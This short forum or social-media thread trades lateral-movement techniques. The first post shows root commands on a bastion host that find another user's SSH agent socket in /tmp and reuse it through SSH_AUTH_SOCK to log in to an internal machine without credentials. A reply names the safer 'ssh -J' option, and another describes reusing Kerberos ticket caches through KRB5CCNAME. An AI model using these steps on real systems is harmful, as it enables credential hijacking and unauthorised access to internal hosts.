Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]
user@internal:~$ hostname -f
internal.company.tld
This post explains it well and details the safer ssh -J
alternative.
That's also a great one, @0xdade! Thanks for the share. I guess while we're at it, haha...
Kerberos authentication can also be leveraged for lateral movement, often with SSH. The
KRB5CCNAME
environment variable can be set to the path of a user's credentials (ticket) cache, usually in/tmp
. klist(1) can be used to view the cache.